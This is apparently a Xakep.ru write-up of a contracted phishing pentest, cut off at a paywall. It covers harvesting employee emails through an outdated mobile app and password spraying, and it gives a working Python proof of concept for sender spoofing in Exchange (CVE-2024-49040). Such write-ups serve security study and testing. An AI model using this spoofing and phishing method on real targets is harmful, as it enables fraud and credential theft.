В этой статье я покажу, как мне уда­лось орга­низо­вать фишин­говую рас­сылку, исполь­зуя кри­тичес­кую уяз­вимость в Exchange Server, что­бы повысить доверие к рас­сыла­емым пись­мам. Начал с получе­ния спис­ка кор­поратив­ных адре­сов через уста­рев­шую вер­сию мобиль­ного при­ложе­ния, затем с помощью Evilginx2 и Telegram-бота соз­дал неот­личимый от ори­гина­ла лен­динг и в ито­ге зак­репил­ся в сети орга­низа­ции.

Это иссле­дова­ние получи­ло пер­вое мес­то на Pentest Award 2025 в катего­рии «Ловись рыб­ка». Сорев­нование еже­год­но про­водит­ся ком­пани­ей Awillix.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Как я получил адреса

Ис­сле­дуя кор­поратив­ный веб‑ресурс, я обна­ружил, что там в откры­том дос­тупе лежала ста­рая вер­сия мобиль­ного при­ложе­ния. В отли­чие от акту­аль­ной на тот момент, она поз­воляла залоги­нить­ся без вто­рого фак­тора.

Ссыл­ка для ска­чива­ния при­ложе­ния появ­ляет­ся, толь­ко если зай­ти с мобиль­ного устрой­ства. Но я прос­то вклю­чил в бра­узе­ре эму­ляцию телефо­на и ска­чал при­ложе­ние на компь­ютер.

Даль­ше я про­вел раз­ведку по откры­тым источни­кам и соб­рал неболь­шой спи­сок имей­лов работ­ников орга­низа­ции. Затем пос­пре­ил пароли в при­ложе­нии, получил дос­туп к про­филю одно­го из сот­рудни­ков и смог вытащить через API уже пол­ный спи­сок адре­сов. Их‑то я и буду исполь­зовать для фишин­говой рас­сылки.

 

Выбираем способ доставки

В док­ладе Ели­заве­ты Тишиной и Все­воло­да Кокори­на «Вам пись­мо: ста­рые новые ата­ки на поч­ту», пред­став­ленном на PHDays 2024, я под­смот­рел один замеча­тель­ный трюк: воз­можность слать элек­трон­ные пись­ма кли­ентам Microsoft Exchange Server с под­меной адре­са отпра­вите­ля (за что боль­шое спа­сибо док­ладчи­кам!).

Суть это­го бага в том, что сер­вер некор­рек­тно пар­сит заголо­вок P2 FROM и этим мож­но вос­поль­зовать­ся — под­делать поле отпра­вите­ля так, что­бы там были сра­зу два адре­са: реаль­ный (который про­веря­ет Exchange и скрыт от поль­зовате­ля) и фей­ковый, который видит жер­тва. В ито­ге Exchange успешно под­твержда­ет под­линность, и жер­тва видит, что получи­ла пись­мо от доверен­ного сот­рудни­ка.

info

Во вре­мя экс­плу­ата­ции этой уяз­вимос­ти пат­чи от Microsoft и дру­гих вен­доров еще не были дос­тупны­ми для ска­чива­ния.

Ес­ли хочешь быс­тро про­верить, мож­но ли под­менять отпра­вите­ля при пересыл­ке из Gmail в Outlook, вот рабочий PoC (исполь­зуй его ответс­твен­но):

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
# Твой аккаунт Gmail
sender_email = "ОТ_КОГО_ОТПРАВИТЬ"
# Пароль приложения, взятый с https://myaccount.google.com/u/0/apppasswords
password = "ПАРОЛЬ_ПРИЛОЖЕНИЯ"
# Email, куда отправить письмо
receiver_email = "<КУДА_ОТПРАВИТЬ>"
# Ящик, который нужно показать получателю
spoofed_email = "<ЖЕЛАЕМЫЙ_АДРЕС_ОТПРАВИТЕЛЯ>"
smtp_server = "smtp.gmail.com"
smtp_port = 587
message = MIMEMultipart()
# Здесь можно подменить имя отправителя
message["From"] = f"<{spoofed_email}> "spoofed" <{sender_email}>"
# Текст письма
message.attach(MIMEText('Test for CVE-2024-49040', "plain"))
server = smtplib.SMTP(smtp_server, smtp_port)
server.set_debuglevel(1)
server.starttls()
server.login(sender_email, password)
print(message.as_string())
server.sendmail(sender_email, receiver_email, message.as_string())

Ес­ли тебе понадо­бят­ся дру­гие связ­ки, помимо Gmail → Outlook, то можешь обра­тить­ся к пос­ту Все­воло­да Кокори­на.

Из‑за лимитов на отправ­ку писем я исполь­зовал нес­коль­ко акка­унтов Gmail. Эти адре­са были заведе­ны заранее — для сов­сем новых уче­ток у Google порой жес­ткие огра­ниче­ния, и мож­но нар­вать­ся на бло­киров­ки или лимиты.

На каж­дом сер­вере, который я исполь­зовал для рас­сылки, я помес­тил скрипт на Python для работы с Gmail по API. Скрипт под­меня­ет P2 FROM при отправ­ке пись­ма. Так­же я добавил ран­домные паузы — что­бы не триг­герить безопас­ность Gmail при отправ­ке и кор­поратив­ные филь­тры — при при­еме.

 

Делаем лендинг

Я сде­лал два вари­анта фишин­гового пись­ма с одной темой — «Новая фича: под­клю­чение к уда­лён­ке через Telegram». Добавил корот­кий текст и QR-код внут­ри — ска­ниру­ешь и попада­ешь в телег­рам‑бота зло­умыш­ленни­ка.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    2 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии